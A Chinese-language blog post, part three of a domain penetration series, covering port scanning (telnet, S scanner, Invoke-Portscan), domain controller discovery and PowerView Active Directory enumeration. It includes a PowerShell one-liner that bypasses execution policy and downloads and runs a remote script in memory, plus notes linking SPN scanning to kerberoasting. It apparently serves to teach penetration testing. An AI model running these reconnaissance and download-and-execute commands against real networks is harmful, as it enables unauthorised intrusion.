域渗透笔记-信息收集(三)
端口探测&域内其他信息收集
端口探测
Telnet
对于单个端口,可以使用telnet进行探测,不会报警。
telnet 192.168.10.128 3389
如果没有开启telnet的话需要自行开启,例如windows server 2012:
S扫描器
S扫描器(TCP/SYN)--win2003以下
S.exe TCP 192.168.10.128 192.168.10.2 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,5432 /Banner /save
PS:这个比较老了就不演示了。
Invoke-portscan.ps1(集成在powersploit项目里的)
同样的,这里使用的是直接用PS下载后运行:
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.10.0/24 -T 4 -ports '22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,5432' -oA C:\Windows\temp\result.txt"
域内其他信息收集
查找域控制器
nltest /DCLIST:域名
这条命令需要先知道域名,例如使用net config workstation得到域名后进行查找
DCLIST参数就是查询域控制器的
net time /domain
net group "Domain Controllers" /domain
因为我的环境里域控制器的名字就是叫DC,所以这里返回的是DC
netdom query pdc
使用powershell收集信息
默认情况下是不允许在powershell执行一个ps脚本的,要使用的话需要修改默认的执行权限。
四种权限:
Restricted 默认权限,不允许执行任何脚本
Allsigned 只允许允许经过证书验证的脚本
Unrestricted 权限最高,允许执行任意脚本
RemoteSigned 对本地脚本无限制,但是对来自网络的较低必须要经过有效签名
注:当不允许执行的时候,管理员也不能执行。
查看当前powershell的执行权限策略:
Get-ExecutionPolicy
设置/修改执行权限策略:
Set-ExecutionPolicy:
powerview.ps1
使用的时候先导入:
import-module XXX.ps1
常用命令:
Get-NetDomain 获取当前用户在域的名称
Get-NetDomainController 获取所有域控制器
Get-NetUser 获取所有用户详细信息
Get-NetGroup 获取所有域内组和组成员信息
Get-Computer 获取所有域内机器详细信息
Get-NetFileServer 根据SPN(1)获取当前域使用的文件服务器
Get-NetShare 获取当前域内所有网络共享
Get-NetSession 获取在指定服务器存在的Session信息
Get-NetRDPSession 获取在指定服务器存在的远程连接信息
Get-NetProcess 获取远程主机的进程信息
Get-NetGPO 获取域所有组策略对象
Get-UserEvent 获取指定用户日志信息
Get-NetADObject 获取活动目录的对象信息
Get-NetOU 获取域中OU(2)信息
Get-DomainPolicy 获取域默认策略/域控制器策略
Invoke-UserHunter 用于获取域用户登陆计算机及该用户是否有本地管理权限
Invoke-ProcessHunter 查找域内所有机器的进程,用来查找特定用户
Invoke-UserEventHunter 根据用户日志获取域内某个用户登陆过哪些域内的机器
注解:(来自网上)
SPN:
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。
服务主体名称是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。
在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。
OU:
域中OU指的是组织单位(Organizational Unit),组织单元是可以将用户、组、计算机和其它组织单位放入其中的AD(Active Directory,活动目录)容器,是可以指派组策略设置或委派管理权限的最小作用域或单元。性质是最小作用域或单元。
小技巧:
当默认执行权限为禁止时:
在CMD中执行PS脚本时可以使用-exec bypass来进行绕过:
PS:
域渗透的信息收集阶段基本就写这三篇,内网信息的收集当然远不止这些,例如通过浏览器记录、回收站、日志、软件的已存储密码的破解等,但是文章方向主要还是以域为背景,所以其他的一些信息的收集需要自行了解了。后面还会不定期更域渗透的其他方面内容。
------------------------------------------------------------------------------
欢迎分享转发。
喜欢的话动动手指点个“在看”吧~
(信安随笔)